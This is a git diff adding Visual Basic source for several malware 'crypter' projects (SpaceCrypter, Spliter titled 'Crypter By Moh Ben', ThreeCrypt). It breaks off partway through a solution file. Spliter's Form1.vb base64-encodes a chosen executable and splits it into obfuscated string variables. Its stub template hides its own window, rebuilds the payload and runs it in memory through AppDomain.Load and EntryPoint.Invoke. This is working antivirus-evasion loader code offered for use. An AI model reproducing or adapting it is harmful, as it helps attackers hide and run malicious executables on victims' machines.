(SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/My Project/app.manifest @@ -0,0 +1,76 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Resources/Aut2Exe.exe b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Resources/Aut2Exe.exe new file mode 100644 index 0000000..d40269f Binary files /dev/null and b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Resources/Aut2Exe.exe differ diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/SpaceCrypter - Free Edition.vbproj b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/SpaceCrypter - Free Edition.vbproj new file mode 100644 index 0000000..ee5916c --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/SpaceCrypter - Free Edition.vbproj @@ -0,0 +1,145 @@ + + + + + Debug + AnyCPU + {D206B0A2-4C04-468C-8090-DDBAF65E757D} + WinExe + SpaceCrypter___Free_Edition.My.MyApplication + SpaceCrypter___Free_Edition + SpaceCrypter - Free Edition + 512 + WindowsForms + v4.5.2 + true + + + AnyCPU + true + full + true + true + bin\Debug\ + + + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + + + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + protection.ico + + + My Project\app.manifest + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + Component + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + \ No newline at end of file diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/protection.ico b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/protection.ico new file mode 100644 index 0000000..3107ab4 Binary files /dev/null and b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/protection.ico differ diff --git a/scode (Spliter/spliter.sln b/scode (Spliter/spliter.sln new file mode 100644 index 0000000..d9feb80 --- /dev/null +++ b/scode (Spliter/spliter.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.31101.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "spliter", "spliter\spliter.vbproj", "{B242FD1A-817E-40BE-A837-2CDA94703106}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B242FD1A-817E-40BE-A837-2CDA94703106}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B242FD1A-817E-40BE-A837-2CDA94703106}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B242FD1A-817E-40BE-A837-2CDA94703106}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B242FD1A-817E-40BE-A837-2CDA94703106}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Spliter/spliter/Form1.Designer.vb b/scode (Spliter/spliter/Form1.Designer.vb new file mode 100644 index 0000000..f620eb9 --- /dev/null +++ b/scode (Spliter/spliter/Form1.Designer.vb @@ -0,0 +1,167 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form remplace la méthode Dispose pour nettoyer la liste des composants. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Requise par le Concepteur Windows Form + Private components As System.ComponentModel.IContainer + + 'REMARQUE : la procédure suivante est requise par le Concepteur Windows Form + 'Elle peut être modifiée à l'aide du Concepteur Windows Form. + 'Ne la modifiez pas à l'aide de l'éditeur de code. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.Button1 = New System.Windows.Forms.Button() + Me.Button2 = New System.Windows.Forms.Button() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.NumericUpDown1 = New System.Windows.Forms.NumericUpDown() + Me.TextBox2 = New System.Windows.Forms.TextBox() + Me.Button3 = New System.Windows.Forms.Button() + Me.Button4 = New System.Windows.Forms.Button() + Me.Button5 = New System.Windows.Forms.Button() + Me.Button7 = New System.Windows.Forms.Button() + CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.SuspendLayout() + ' + 'Button1 + ' + Me.Button1.BackColor = System.Drawing.Color.DarkMagenta + Me.Button1.ForeColor = System.Drawing.Color.White + Me.Button1.Location = New System.Drawing.Point(581, 12) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(87, 23) + Me.Button1.TabIndex = 0 + Me.Button1.Text = "Add File" + Me.Button1.UseVisualStyleBackColor = False + ' + 'Button2 + ' + Me.Button2.BackColor = System.Drawing.Color.DarkMagenta + Me.Button2.ForeColor = System.Drawing.Color.White + Me.Button2.Location = New System.Drawing.Point(14, 38) + Me.Button2.Name = "Button2" + Me.Button2.Size = New System.Drawing.Size(545, 23) + Me.Button2.TabIndex = 1 + Me.Button2.Text = "Convert To Base 64 And Split" + Me.Button2.UseVisualStyleBackColor = False + ' + 'TextBox1 + ' + Me.TextBox1.Location = New System.Drawing.Point(14, 12) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.Size = New System.Drawing.Size(544, 20) + Me.TextBox1.TabIndex = 2 + ' + 'NumericUpDown1 + ' + Me.NumericUpDown1.ForeColor = System.Drawing.Color.Black + Me.NumericUpDown1.Location = New System.Drawing.Point(581, 53) + Me.NumericUpDown1.Name = "NumericUpDown1" + Me.NumericUpDown1.Size = New System.Drawing.Size(87, 20) + Me.NumericUpDown1.TabIndex = 3 + Me.NumericUpDown1.Value = New Decimal(New Integer() {7, 0, 0, 0}) + ' + 'TextBox2 + ' + Me.TextBox2.Location = New System.Drawing.Point(14, 96) + Me.TextBox2.MaxLength = 32767000 + Me.TextBox2.Multiline = True + Me.TextBox2.Name = "TextBox2" + Me.TextBox2.ScrollBars = System.Windows.Forms.ScrollBars.Vertical + Me.TextBox2.Size = New System.Drawing.Size(545, 224) + Me.TextBox2.TabIndex = 4 + ' + 'Button3 + ' + Me.Button3.BackColor = System.Drawing.Color.DarkMagenta + Me.Button3.ForeColor = System.Drawing.Color.White + Me.Button3.Location = New System.Drawing.Point(581, 93) + Me.Button3.Name = "Button3" + Me.Button3.Size = New System.Drawing.Size(87, 23) + Me.Button3.TabIndex = 5 + Me.Button3.Text = "Copier" + Me.Button3.UseVisualStyleBackColor = False + ' + 'Button4 + ' + Me.Button4.BackColor = System.Drawing.Color.DarkMagenta + Me.Button4.ForeColor = System.Drawing.Color.White + Me.Button4.Location = New System.Drawing.Point(581, 141) + Me.Button4.Name = "Button4" + Me.Button4.Size = New System.Drawing.Size(87, 23) + Me.Button4.TabIndex = 6 + Me.Button4.Text = "Extraire" + Me.Button4.UseVisualStyleBackColor = False + ' + 'Button5 + ' + Me.Button5.BackColor = System.Drawing.Color.DarkMagenta + Me.Button5.ForeColor = System.Drawing.Color.White + Me.Button5.Location = New System.Drawing.Point(14, 67) + Me.Button5.Name = "Button5" + Me.Button5.Size = New System.Drawing.Size(544, 23) + Me.Button5.TabIndex = 7 + Me.Button5.Text = "Get de Code" + Me.Button5.UseVisualStyleBackColor = False + ' + 'Button7 + ' + Me.Button7.BackColor = System.Drawing.Color.DarkMagenta + Me.Button7.ForeColor = System.Drawing.Color.White + Me.Button7.Location = New System.Drawing.Point(581, 252) + Me.Button7.Name = "Button7" + Me.Button7.Size = New System.Drawing.Size(87, 68) + Me.Button7.TabIndex = 9 + Me.Button7.Text = "Quit" + Me.Button7.UseVisualStyleBackColor = False + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(7.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.BackColor = System.Drawing.SystemColors.ActiveCaptionText + Me.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center + Me.ClientSize = New System.Drawing.Size(682, 332) + Me.Controls.Add(Me.TextBox2) + Me.Controls.Add(Me.NumericUpDown1) + Me.Controls.Add(Me.TextBox1) + Me.Controls.Add(Me.Button7) + Me.Controls.Add(Me.Button5) + Me.Controls.Add(Me.Button4) + Me.Controls.Add(Me.Button3) + Me.Controls.Add(Me.Button2) + Me.Controls.Add(Me.Button1) + Me.Font = New System.Drawing.Font("Microsoft Sans Serif", 8.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.ForeColor = System.Drawing.Color.Gray + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "Form1" + Me.Text = "Crypter By Moh Ben" + Me.TransparencyKey = System.Drawing.SystemColors.ControlDarkDark + CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).EndInit() + Me.ResumeLayout(False) + Me.PerformLayout() + + End Sub + Friend WithEvents Button1 As System.Windows.Forms.Button + Friend WithEvents Button2 As System.Windows.Forms.Button + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents NumericUpDown1 As System.Windows.Forms.NumericUpDown + Friend WithEvents TextBox2 As System.Windows.Forms.TextBox + Friend WithEvents Button3 As System.Windows.Forms.Button + Friend WithEvents Button4 As System.Windows.Forms.Button + Friend WithEvents Button5 As System.Windows.Forms.Button + Friend WithEvents Button7 As System.Windows.Forms.Button + +End Class diff --git a/scode (Spliter/spliter/Form1.resx b/scode (Spliter/spliter/Form1.resx new file mode 100644 index 0000000..675e5ce --- /dev/null +++ b/scode (Spliter/spliter/Form1.resx @@ -0,0 +1,145 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAAAQAABILAAASCwAAAAAAAAAA + AACOjo7/eXl5/xwcHP8kJCT/SUlJ/zo6Ov8VFRX/NTY1/2JhY/8+OUb/SENS/0I+S/8xKzf/Licy/0ZD + Uv86N0f/e3t7/46Ojv8vLy//JiYm/5OTk/8zMzP/ExMT/2pqav9zc3L/WFdZ/0I+R/8/Okj/RT5L/zw4 + Rv8qJCz/PjhE/05OTv+urq7/b29v/2tra/+goKD/b29v/3x8fP+Hh4f/c3Nz/5+fn/9WVFX/HBQb/zAo + L/8zLjj/KSEn/zw3Q/+Wlpb/mpqa/3h4eP+FhYX/VVVV/4uLi//CwsL/iIiI/4CAgP/S09P/PDo8/wcB + Av8YEhT/FAwM/x0WGf8wLTv/hYWF/42Njf+EhIT/gICA/5mZmf+srKz/t7e3/11dXf+goKD/jIyM/wAA + AP8KCQ3/EQ4Q/w4ICf8XEBL/IB0o/2RkZP9nZ2f/e3t7/5ydnf++vr7/sbCw/6yrq/94eHj/Zmhq/wEC + BP8MCgz/EwoK/xEHB/8TDAz/Fg8T/ycjLv8qKir/VlZW/0BAQf9BPz7/YV5d/2psbf9vcnP/PDw9/w4L + Cv8sICD/JSEm/yovOv82Mzz/LiYs/zMvO/88OUf/Ozs7/1RTU/8lJib/GxcU/zorIf8xJyH/SUM7/1Nq + eP92hJD/cYme/2iHnv9ogJn/REZW/zIsN/84NUL/PzxM/3Jycv+Xl5f/kJCQ/4B/fv9gRjX/aEs4/5qA + a/+hr7T/kqOx/5ObpP+BdHD/UEND/zc1Ov9HP0b/QTtG/zw3Qf+Li4v/fHx8/z08PP9WWFn/YlJJ/4Ne + R/+ok4L/c4yX/4J5c/+AaVv/Y19h/zM9SP8zNkH/TEdL/0M5O/8wKzT/kJCQ/05OTv8VFRX/IiMj/3Jy + c/+KeGz/ioN8/4660/+KkZn/Y09H/zMzN/8aIyj/JScq/zMwMP8+NDr/VlNo/5OTk/95eXn/V1dX/1pa + Wv+QkJD/d3l6/2prbP9mbHD/QENG/0hAQv85NDj/TElN/1BOVf9hXGL/dXWC/3d4ff9FRUX/Xl5e/3d3 + d/+FhYX/iIiI/1paWf9wcHD/YmBf/3t7ev+Fhob/lJSU/6Khov+DgoP/iYmK/5eXlv+dnZz/IyMj/x8f + H/8bGxv/Li4u/zY2Nv8wMDD/PDw8/1xcXP9ubm7/jIyM/4+Pj/+VlZX/qamo/6ioqP+enp7/zs7O/3R0 + dP94eHj/eXl5/3BwcP9FRUX/V1dX/15eXv9iYmL/h4eH/3p6ev9sbGz/Xl5e/6qqqv+ampr/pqam/7S0 + tP+lpaX/mZmZ/5+fn/+MjIz/bm5u/3Jycv+AgID/mJiY/729vf/Pz8//x8fH/2lpaf81NTX/i4uL/6mp + qf+0tLT/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/scode (Spliter/spliter/Form1.vb b/scode (Spliter/spliter/Form1.vb new file mode 100644 index 0000000..a6e6182 --- /dev/null +++ b/scode (Spliter/spliter/Form1.vb @@ -0,0 +1,113 @@ +Imports System.IO + +Public Class Form1 + + Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click + Dim ofd As New OpenFileDialog With + { + .Filter = "ExE Files (*.exe) | *.exe" + } + If ofd.ShowDialog() = Windows.Forms.DialogResult.OK Then + TextBox1.Text = ofd.FileName + End If + End Sub + + Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click + Dim Brow1 As New FolderBrowserDialog + Dim Brow2 As FolderBrowserDialog = Brow1 + If Brow2.ShowDialog() = Windows.Forms.DialogResult.OK Then + Dim a As String = NumericUpDown1.Value + Dim b As String = Convert.ToBase64String(IO.File.ReadAllBytes(TextBox1.Text)) + IO.File.WriteAllText(Brow2.SelectedPath & "\all" & ".txt", b) + Dim c As String = b.Length + Dim d As String = c / a + Dim lop As Integer + Dim split As String + Dim kyam As String = "" + Dim haj As String = "str2" + For i As Integer = 1 To a + For lop = 0 To c - 1 Step +a + split += Mid(b, lop + i, 1) + Next + IO.File.WriteAllText(Brow2.SelectedPath & "\part" & i & ".txt", split) + Dim j As String = i + haj = haj + " & Strings.Mid(paracetamol" + j + ", i, 1)" + kyam = kyam + "dim paracetamol" + j + " as string= """ + split + """" + ChrW(10) + split = "" + Next + TextBox2.Text = My.Resources.stub.Replace("maloumat", kyam).Replace("rahj", haj) + End If + + MsgBox("Done !! ") + End Sub + + Private Sub NumericUpDown1_ValueChanged(sender As Object, e As EventArgs) Handles NumericUpDown1.ValueChanged + + End Sub + + + Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load + + End Sub + + Private Sub ProgressBar1_Click(sender As Object, e As EventArgs) + + End Sub + + Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click + If (Not String.IsNullOrEmpty(TextBox2.Text)) Then + TextBox2.SelectionStart = 0 + TextBox2.SelectionLength = TextBox2.Text.Length + End If + TextBox2.Copy() + End Sub + + Private Sub Button4_Click(sender As Object, e As EventArgs) Handles Button4.Click + If (Me.TextBox1.Text = "") Then + Interaction.MsgBox("No server Selected", MsgBoxStyle.ApplicationModal, "Erorr") + Else + Dim dialog As New SaveFileDialog + Dim dialog2 As SaveFileDialog = dialog + dialog2.Title = "Save" + dialog2.Filter = "Text Documents(*.txt)|.txt" + dialog2.FileName = "*.txt" + dialog2 = Nothing + If (dialog.ShowDialog = DialogResult.OK) Then + File.WriteAllText(dialog.FileName, TextBox2.Text) + Interaction.MsgBox(dialog.FileName, MsgBoxStyle.ApplicationModal, Nothing) + End If + End If + End Sub + + Private Sub Button5_Click(sender As Object, e As EventArgs) Handles Button5.Click + Dim a As String = NumericUpDown1.Value + If (Not String.IsNullOrEmpty(TextBox1.Text)) Then + Dim b As String = Convert.ToBase64String(IO.File.ReadAllBytes(TextBox1.Text)) + Dim c As String = b.Length + Dim d As String = c / a + Dim lop As Integer + Dim split As String + Dim kyam As String = "" + Dim haj As String = "str2" + For i As Integer = 1 To a + For lop = 0 To c - 1 Step +a + split += Mid(b, lop + i, 1) + Next + Dim j As String = i + haj = haj + " & Strings.Mid(paracetamol" + j + ", i, 1)" + kyam = kyam + "dim paracetamol" + j + " as string= """ + split + """" + ChrW(10) + split = "" + Next + TextBox2.Text = My.Resources.stub.Replace("maloumat", kyam).Replace("rahj", haj) + End If + MsgBox("Done !! ") + End Sub + + Private Sub Button7_Click(sender As Object, e As EventArgs) Handles Button7.Click + Me.Close() + End Sub + + Private Sub PictureBox1_Click(sender As Object, e As EventArgs) + + End Sub +End Class diff --git a/scode (Spliter/spliter/My Project/Application.Designer.vb b/scode (Spliter/spliter/My Project/Application.Designer.vb new file mode 100644 index 0000000..a0aa7cd --- /dev/null +++ b/scode (Spliter/spliter/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'REMARQUE : ce fichier étant généré automatiquement, ne le modifiez pas directement. Pour apporter des modifications, + ' ou si vous rencontrez des erreurs de build dans ce fichier, accédez au Concepteur de projets + ' (allez dans les propriétés du projet ou double-cliquez sur le noeud My project dans + ' l'Explorateur de solutions), puis apportez vos modifications sous l'onglet Application. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = False + Me.EnableVisualStyles = True + Me.SaveMySettingsOnExit = True + Me.ShutdownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.Crypter.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Spliter/spliter/My Project/Application.myapp b/scode (Spliter/spliter/My Project/Application.myapp new file mode 100644 index 0000000..1243847 --- /dev/null +++ b/scode (Spliter/spliter/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (Spliter/spliter/My Project/AssemblyInfo.vb b/scode (Spliter/spliter/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..006eee0 --- /dev/null +++ b/scode (Spliter/spliter/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' Les informations générales relatives à un assembly dépendent de +' l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations +' associées à un assembly. + +' Passez en revue les valeurs des attributs de l'assembly + + + + + + + + + + +'Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM + + +' Les informations de version pour un assembly se composent des quatre valeurs suivantes : +' +' Version principale +' Version secondaire +' Numéro de build +' Révision +' +' Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut +' en utilisant '*', comme indiqué ci-dessous : +' + + + diff --git a/scode (Spliter/spliter/My Project/Resources.Designer.vb b/scode (Spliter/spliter/My Project/Resources.Designer.vb new file mode 100644 index 0000000..e66f171 --- /dev/null +++ b/scode (Spliter/spliter/My Project/Resources.Designer.vb @@ -0,0 +1,88 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Crypter.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized string similar to Public Class Form1 Public Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load + '''Me.Hide() + '''Me.ShowInTaskbar = False + '''Me.ShowIcon = False + '''Me.Opacity = 0 + '''maloumat + '''Dim str2 As String = "" + '''Dim num3 As Integer = paracetamol1.Length + '''Dim i As Integer = 1 + '''Do While (i <= num3) + '''str2 = rahj + '''i += 1 + '''Loop + '''Dim best As Object = AppDomain.CurrentDomain.Load(Convert.FromBase64String(str2)) + '''Dim gest As String = best.EntryPoint.Invoke(Nothing, Nothing) + '''End Sub + '''End Class. + ''' + Friend ReadOnly Property stub() As String + Get + Return ResourceManager.GetString("stub", resourceCulture) + End Get + End Property + End Module +End Namespace diff --git a/scode (Spliter/spliter/My Project/Resources.resx b/scode (Spliter/spliter/My Project/Resources.resx new file mode 100644 index 0000000..29999e3 --- /dev/null +++ b/scode (Spliter/spliter/My Project/Resources.resx @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\stub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + \ No newline at end of file diff --git a/scode (Spliter/spliter/My Project/Settings.Designer.vb b/scode (Spliter/spliter/My Project/Settings.Designer.vb new file mode 100644 index 0000000..454ced7 --- /dev/null +++ b/scode (Spliter/spliter/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()), MySettings) + +#Region "Fonctionnalité Enregistrement automatique My.Settings" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Crypter.My.MySettings + Get + Return Global.Crypter.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Spliter/spliter/My Project/Settings.settings b/scode (Spliter/spliter/My Project/Settings.settings new file mode 100644 index 0000000..85b890b --- /dev/null +++ b/scode (Spliter/spliter/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Spliter/spliter/Resources/stub.txt b/scode (Spliter/spliter/Resources/stub.txt new file mode 100644 index 0000000..09122ae --- /dev/null +++ b/scode (Spliter/spliter/Resources/stub.txt @@ -0,0 +1,18 @@ +Public Class Form1 +Public Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load +Me.Hide() +Me.ShowInTaskbar = False +Me.ShowIcon = False +Me.Opacity = 0 +maloumat +Dim str2 As String = "" +Dim num3 As Integer = paracetamol1.Length +Dim i As Integer = 1 +Do While (i <= num3) +str2 = rahj +i += 1 +Loop +Dim best As Object = AppDomain.CurrentDomain.Load(Convert.FromBase64String(str2)) +Dim gest As String = best.EntryPoint.Invoke(Nothing, Nothing) +End Sub +End Class \ No newline at end of file diff --git a/scode (Spliter/spliter/favicon.ico b/scode (Spliter/spliter/favicon.ico new file mode 100644 index 0000000..de0ca3e Binary files /dev/null and b/scode (Spliter/spliter/favicon.ico differ diff --git a/scode (Spliter/spliter/spliter.vbproj b/scode (Spliter/spliter/spliter.vbproj new file mode 100644 index 0000000..41e2349 --- /dev/null +++ b/scode (Spliter/spliter/spliter.vbproj @@ -0,0 +1,129 @@ + + + + + Debug + AnyCPU + {B242FD1A-817E-40BE-A837-2CDA94703106} + WinExe + Crypter.My.MyApplication + Crypter + Crypter + 512 + WindowsForms + v2.0 + + + AnyCPU + true + full + true + true + bin\Debug\ + Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + favicon.ico + + + + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + + + \ No newline at end of file diff --git a/scode (ThreeCrypt/.DS_Store b/scode (ThreeCrypt/.DS_Store new file mode 100644 index 0000000..5462b06 Binary files /dev/null and b/scode (ThreeCrypt/.DS_Store differ diff --git a/scode (ThreeCrypt/.vs/ThreeCrypt/v14/.suo b/scode (ThreeCrypt/.vs/ThreeCrypt/v14/.suo new file mode 100644 index 0000000..9dbaf47 Binary files /dev/null and b/scode (ThreeCrypt/.vs/ThreeCrypt/v14/.suo differ diff --git a/scode (ThreeCrypt/ThreeCrypt.sln b/scode (ThreeCrypt/ThreeCrypt.sln new file mode 100644 index 0000000..ba318f6 --- /dev/null +++ b/scode (ThreeCrypt/ThreeCrypt.sln @@ -0,0 +1,38 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.24720.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "ThreeCrypt", "ThreeCrypt\ThreeCrypt.vbproj", "{F208AC23-B006-4C4C-813C-404A8D597E86}" +EndProject +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "ThreeCryptStub", "ThreeCryptStub\ThreeCryptStub.vbproj", "{246A4BC3-7A48-4AB5-BA8A-A45CB74169D7}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F208AC23-B006-4C4C-813C-404A8D597E86}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F208AC23-B006-4C4C-813C-404A8D597E86}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F208AC23-B006-4C4C-813C-404A8D597E86}.Debug|x86.ActiveCfg = Debug|x86 + {F208AC23-B006-4C4C-813C-404A8D597E86}.Debug|x86.Build.0 = Debug|x86 + {F208AC23-B006-4C4C-813C-404A8D597E86}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F208AC23-B006-4C4C-813C-404A8D597E86}.Release|Any CPU.Build.0 = Release|Any CPU + {F208AC23-B006-4C4C-813C-404A8D597E86}.Release|x86.ActiveCfg = Release|x86 + {F208AC23-B006-4C4C-813C-404A8D597E86}.Release|x86.Build.0 = Release|x86 + {246A4BC3-7A48-4AB5-BA8A-A45CB74169D7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {246A4BC3-7A48-4AB5-BA8A-A45CB74169D7}.Debug|Any CPU.Build.0 = Debug|Any CPU + {246A4BC3-7A48-4AB5-BA8A-A45CB74169D7}.Debug|x86.ActiveCfg = Debug|Any CPU + 